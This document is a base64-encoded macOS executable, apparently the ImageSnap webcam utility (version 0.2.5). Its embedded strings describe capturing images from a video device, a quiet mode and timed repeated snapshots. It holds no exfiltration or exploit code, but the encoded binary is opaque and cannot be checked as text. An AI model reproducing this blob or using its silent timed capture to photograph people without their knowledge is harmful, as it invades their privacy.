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V2aWNlOgBvcGVuOgBpc0VxdWFsOgBkZXZpY2UAaXNSdW5uaW5nAHN0b3BSdW5uaW5nAGFkZFJlcHJlc2VudGF0aW9uOgBpbml0V2l0aFNpemU6AHNpemUAaW1hZ2VSZXBXaXRoQ0lJbWFnZToAaW1hZ2VXaXRoQ1ZJbWFnZUJ1ZmZlcjoAZGF0ZVdpdGhUaW1lSW50ZXJ2YWxTaW5jZU5vdzoAc3RvcFNlc3Npb24Ac2F2ZUltYWdlOnRvUGF0aDoAc25hcHNob3QAc3RyaW5nV2l0aEZvcm1hdDoAVVRGOFN0cmluZwBzdHJpbmdGcm9tRGF0ZToAc2V0RGF0ZUZvcm1hdDoAcnVuVW50aWxEYXRlOgBkYXRlQnlBZGRpbmdUaW1lSW50ZXJ2YWw6AGN1cnJlbnRSdW5Mb29wAHN0YXJ0U2Vzc2lvbjoAYWxsb2MAZG91YmxlVmFsdWUAc2F2ZVNpbmdsZVNuYXBzaG90RnJvbTp0b0ZpbGU6d2l0aFdhcm11cDp3aXRoVGltZWxhcHNlOgBzYXZlU2luZ2xlU25hcHNob3RGcm9tOnRvRmlsZTp3aXRoV2FybXVwOgByZXByZXNlbnRhdGlvblVzaW5nVHlwZTpwcm9wZXJ0aWVzOgBpbWFnZVJlcFdpdGhEYXRhOgBkaWN0aW9uYXJ5V2l0aE9iamVjdDpmb3JLZXk6AG51bWJlcldpdGhGbG9hdDoAcmFuZ2VPZlN0cmluZzpvcHRpb25zOgBUSUZGUmVwcmVzZW50YXRpb24Ad3JpdGVUb0ZpbGU6YXRvbWljYWxseToAYnl0ZXMAbGVuZ3RoAGRhdGFGcm9tOmFzVHlwZToAcGF0aEV4dGVuc2lvbgBjb3VudEJ5RW51bWVyYXRpbmdXaXRoU3RhdGU6b2JqZWN0czpjb3VudDoAaXNFcXVhbFRvU3RyaW5nOgBkZXNjcmlwdGlvbgB2aWRlb0RldmljZXMAZGVmYXVsdElucHV0RGV2aWNlV2l0aE1lZGlhVHlwZToAYWRkT2JqZWN0c0Zyb21BcnJheToAaW5wdXREZXZpY2VzV2l0aE1lZGlhVHlwZToAYXJyYXlXaXRoQ2FwYWNpdHk6AGRlYWxsb2MAcmVsZWFzZQBpbml0AGF1dG9yZWxlYXNlAE5TTXV0YWJsZUFycmF5AFFUQ2FwdHVyZURldmljZQBJbWFnZVNuYXAATlNEaWN0aW9uYXJ5AE5TTnVtYmVyAE5TQml0bWFwSW1hZ2VSZXAATlNEYXRlAE5TUnVuTG9vcABOU0RhdGVGb3JtYXR0ZXIATlNTdHJpbmcATlNDSUltYWdlUmVwAENJSW1hZ2UATlNJbWFnZQBRVENhcHR1cmVTZXNzaW9uAFFUQ2FwdHVyZURldmljZUlucHV0AFFUQ2FwdHVyZURlY29tcHJlc3NlZFZpZGVvT3V0cHV0AE5TQXV0b3JlbGVhc2VQb29sAE5TQXBwbGljYXRpb24Ac25hcHNob3QuanBnAE5TT2JqZWN0AGMyNEAwOjRAOEAxMkAxNkAyMABjMjBAMDo0QDhAMTJAMTYAc2F2ZVNpbmdsZVNuYXBzaG90RnJvbTp0b0ZpbGU6AGMxNkAwOjRAOEAxMgBAMTZAMDo0QDhAMTIAQDEyQDA6NEA4AEA4QDA6NABtQ2FwdHVyZVNlc3Npb24AQCJRVENhcHR1cmVTZXNzaW9uIgBtQ2FwdHVyZURldmljZUlucHV0AEAiUVRDYXB0dXJlRGV2aWNlSW5wdXQiAG1DYXB0dXJlRGVjb21wcmVzc2VkVmlkZW9PdXRwdXQAQCJRVENhcHR1cmVEZWNvbXByZXNzZWRWaWRlb091dHB1dCIAbUN1cnJlbnRJbWFnZUJ1ZmZlcgBee19fQ1ZCdWZmZXI9fQBjYXB0dXJlT3V0cHV0OmRpZE91dHB1dFZpZGVvRnJhbWU6d2l0aFNhbXBsZUJ1ZmZlcjpmcm9tQ29ubmVjdGlvbjoAdjI0QDA6NEA4XntfX0NWQnVmZmVyPX0xMkAxNkAyMABjMTJAMDo0QDgAdjhAMDo0AHRpZgB0aWZmAGpwZwBqcGVnAHBuZwBibXAAZ2lmAFN0b3BwaW5nIHNlc3Npb24uLi4KAAlDYXB0dXJlU2Vzc2lvbiAhPSBuaWwKAAlTdG9wcGluZyBDYXB0dXJlU2Vzc2lvbi4uLgBEb25lLgoAW21DYXB0dXJlU2Vzc2lvbiBpc1J1bm5pbmddAAlTaHV0dGluZyBkb3duICdzdG9wU2Vzc2lvbiguLiknAFRha2luZyBzbmFwc2hvdC4uLgoAU25hcHNob3QgdGFrZW4uCgAnbmlsJyBGcmFtZSBjYXB0dXJlZC4KAFN0YXJ0aW5nIGNhcHR1cmUgc2Vzc2lvbi4uLgoACUNhbm5vdCBzdGFydCBzZXNzaW9uOiBubyBkZXZpY2UgcHJvdmlkZWQuCgAJU3RvcHBpbmcgcHJldmlvdXMgc2Vzc2lvbi4KAAlDcmVhdGluZyBRVENhcHR1cmVTZXNzaW9uLi4uAAlDb3VsZCBub3QgY3JlYXRlIGNhcHR1cmUgc2Vzc2lvbi4KAAlDcmVhdGluZyBRVENhcHR1cmVEZXZpY2VJbnB1dCB3aXRoICVzLi4uAAlDb3VsZCBub3QgY29udmVydCBkZXZpY2UgdG8gaW5wdXQgZGV2aWNlLgoACUNyZWF0aW5nIFFUQ2FwdHVyZURlY29tcHJlc3NlZFZpZGVvT3V0cHV0Li4uAAlDb3VsZCBub3QgY3JlYXRlIGRlY29tcHJlc3NlZCBvdXRwdXQuCgAJRW50ZXJpbmcgc3luY2hyb25pemVkIGJsb2NrIHRvIGNsZWFyIG1lbW9yeS4uLgBTZXNzaW9uIHN0YXJ0ZWQuCgAtAFN0YXJ0aW5nIGRldmljZS4uLgBEZXZpY2Ugc3RhcnRlZC4KAFNraXBwaW5nIHdhcm11cCBwZXJpb2QuCgBEZWxheWluZyAlLjJsZiBzZWNvbmRzIGZvciB3YXJtdXAuLi4AV2FybXVwIGNvbXBsZXRlLgoAVGltZSBsYXBzZTogc25hcHBpbmcgZXZlcnkgJS4ybGYgc2Vjb25kcyB0byBjdXJyZW50IGRpcmVjdG9yeS4KAHl5eXktTU0tZGRfSEgtbW0tc3MuU1NTACAtIFNuYXBzaG90ICU1bHUAICglcykKAHNuYXBzaG90LSUwNWQtJXMuanBnACVzCgBJbWFnZSBjYXB0dXJlIGZhaWxlZC4KAE5vIHZpZGVvIGRldmljZXMgZm91bmQuCgBVU0FHRTogJXMgW29wdGlvbnNdIFtmaWxlbmFtZV0KADAuMi41AFZlcnNpb246ICVzCgBDYXB0dXJlcyBhbiBpbWFnZSBmcm9tIGEgdmlkZW8gZGV2aWNlIGFuZCBzYXZlcyBpdCBpbiBhIGZpbGUuAElmIG5vIGRldmljZSBpcyBzcGVjaWZpZWQsIHRoZSBzeXN0ZW0gZGVmYXVsdCB3aWxsIGJlIHVzZWQuAElmIG5vIGZpbGVuYW1lIGlzIHNwZWNmaWVkLCBzbmFwc2hvdC5qcGcgd2lsbCBiZSB1c2VkLgBTdXBwb3J0ZWQgaW1hZ2UgdHlwZXM6IEpQRUcsIFRJRkYsIFBORywgR0lGLCBCTVAAICAtaCAgICAgICAgICBUaGlzIGhlbHAgbWVzc2FnZQAgIC12ICAgICAgICAgIFZlcmJvc2UgbW9kZQAgIC1sICAgICAgICAgIExpc3QgYXZhaWxhYmxlIHZpZGVvIGRldmljZXMAICAtdCB4Lnh4ICAgICBUYWtlIGEgcGljdHVyZSBldmVyeSB4Lnh4IHNlY29uZHMAICAtcSAgICAgICAgICBRdWlldCBtb2RlLiBEbyBub3Qgb3V0cHV0IGFueSB0ZXh0ACAgLXcgeC54eCAgICAgV2FybXVwLiBEZWxheSBzbmFwc2hvdCB4Lnh4IHNlY29uZHMgYWZ0ZXIgdHVybmluZyBvbiBjYW1lcmEAICAtZCBkZXZpY2UgICBVc2UgbmFtZWQgdmlkZW8gZGV2aWNlAERldmljZSAiJXMiIG5vdCBmb3VuZC4KAE5vdCBlbm91Z2ggYXJndW1lbnRzIGdpdmVuIHdpdGggJ2QnIGZsYWcuCgBOb3QgZW5vdWdoIGFyZ3VtZW50cyBnaXZlbiB3aXRoICd3JyBmbGFnLgoATm90IGVub3VnaCBhcmd1bWVudHMgZ2l2ZW4gd2l0aCAndCcgZmxhZy4KAE5vIGZpbGVuYW1lIHNwZWNpZmllZC4gVXNpbmcgJXMKAE5vIGRldmljZSBzcGVjaWZpZWQuIFVzaW5nICVzCgBDYXB0dXJpbmcgaW1hZ2UgZnJvbSBkZXZpY2UgIiVzIi4uLgBFcnJvci4KAABWaWRlbyBEZXZpY2VzOgAAAAAAAAAATm8gdmlkZW8gZGV2aWNlcyBmb3VuZC4AAQAAABwAAAAAAAAAHAAAAAAAAAAcAAAAAgAAAEAPAAA0AAAANAAAAE0wAAAAAAAANAAAAAMAAAAMAAEAEAABAAAAAAAAAAAAABAAAExRAABQUQAAVFEAAFhRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0EAAANpAAADkQAAA7kAAAPhAAAACQQAADEEAABZBAAAgQQAAKkEAADRBAAA+QQAASEEAAFJBAABcQQAAZkEAAHBBAAB6QQAAhEEAAI5BAACYQQAAokEAADxRAAAAAAAAyAcAAN9GAAAMAAAAAAAAAMgHAACNSAAAAwAAAAAAAADIBwAAkUgAAAQAAAAAAAAAyAcAAJZIAAADAAAAAAAAAMgHAACaSAAABAAAAAAAAADIBwAAn0gAAAMAAAAAAAAAyAcAAKNIAAADAAAAAAAAAMgHAACnSAAAAwAAAAAAAADIBwAACksAAAEAAAAAAAAAyAcAAMBLAAAXAAAAAAAAAMgHAADwSwAAFAAAAAAAAADIBwAAWUwAAAUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA